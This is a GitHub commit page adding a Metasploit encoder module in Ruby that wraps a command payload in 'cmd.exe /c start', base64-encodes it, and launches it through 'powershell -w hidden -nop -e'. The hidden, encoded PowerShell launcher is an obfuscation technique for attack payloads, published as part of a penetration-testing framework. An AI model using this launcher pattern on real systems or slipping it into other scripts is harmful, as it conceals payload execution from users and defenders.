Skip to content

Commit 3676525

Browse files
committed
Land rapid7#2964 - Powershell CMD Encoder
2 parents f9a7cfa + 39be214 commit 3676525

File tree

1 file changed

+54
-0
lines changed

1 file changed

+54
-0
lines changed
Lines changed: 54 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,54 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Encoder
9+
Rank = ExcellentRanking
10+
11+
def initialize
12+
super(
13+
'Name' => 'Powershell Base64 Command Encoder',
14+
'Description' => %q{
15+
This encodes the command as a base64 encoded command for powershell.
16+
},
17+
'Author' => 'Ben Campbell',
18+
'Arch' => ARCH_CMD,
19+
'Platform' => 'win')
20+
end
21+
22+
23+
#
24+
# Encodes the payload
25+
#
26+
def encode_block(state, buf)
27+
28+
# Skip encoding for empty badchars
29+
if state.badchars.length == 0
30+
return buf
31+
end
32+
33+
if (state.badchars.include? '-') || (state.badchars.include? ' ')
34+
return buf
35+
end
36+
37+
cmd = encode_buf(buf)
38+
39+
if state.badchars.include? '='
40+
while cmd.include? '='
41+
buf << " "
42+
cmd = encode_buf(buf)
43+
end
44+
end
45+
46+
cmd
47+
end
48+
49+
def encode_buf(buf)
50+
base64 = Rex::Text.encode_base64(Rex::Text.to_unicode("cmd.exe /c start #{buf}"))
51+
cmd = "powershell -w hidden -nop -e #{base64}"
52+
end
53+
54+
end

0 commit comments

Comments
 (0)